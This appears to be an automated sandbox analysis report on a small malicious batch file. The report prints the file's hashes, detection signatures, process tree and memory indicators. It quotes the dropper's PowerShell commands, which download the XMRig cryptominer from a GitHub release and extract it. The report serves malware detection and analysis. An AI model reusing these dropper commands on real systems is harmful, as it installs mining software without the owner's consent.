Resubmissions

Analysis

  • max time kernel
    1559s
  • max time network
    1564s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    20/05/2024, 19:02

General

  • Target

    1.bat

  • Size

    599B

  • MD5

    798b979417aa88e5323ead9be2d8425c

  • SHA1

    a54c5133c71afddf697f302b36bdb930c72852ce

  • SHA256

    f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07

  • SHA512

    a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2684
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2544

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          2c204c1888e6938793786977cadd5654

          SHA1

          db099321ee99f321f77cbd20b90421439c36efdc

          SHA256

          08b6f82851af90550be4c8fdcbd804aa6d75ae475cca97e317b57ed2c4939c0d

          SHA512

          5070e3407dbe5235523c5a00fc56c90b3cc5328b53414d92e9644be113faafd1f08b8e6db34708c32ddad9968ca78b69d8a349c0d9fe1250c96372901b0cf84c

        • memory/2544-18-0x000000001B340000-0x000000001B622000-memory.dmp

          Filesize

          2.9MB

        • memory/2544-19-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

          Filesize

          32KB

        • memory/2684-4-0x000007FEF620E000-0x000007FEF620F000-memory.dmp

          Filesize

          4KB

        • memory/2684-5-0x000000001B240000-0x000000001B522000-memory.dmp

          Filesize

          2.9MB

        • memory/2684-6-0x0000000002290000-0x0000000002298000-memory.dmp

          Filesize

          32KB

        • memory/2684-7-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

          Filesize

          9.6MB

        • memory/2684-11-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

          Filesize

          9.6MB

        • memory/2684-10-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

          Filesize

          9.6MB

        • memory/2684-9-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

          Filesize

          9.6MB

        • memory/2684-8-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

          Filesize

          9.6MB

        • memory/2684-12-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

          Filesize

          9.6MB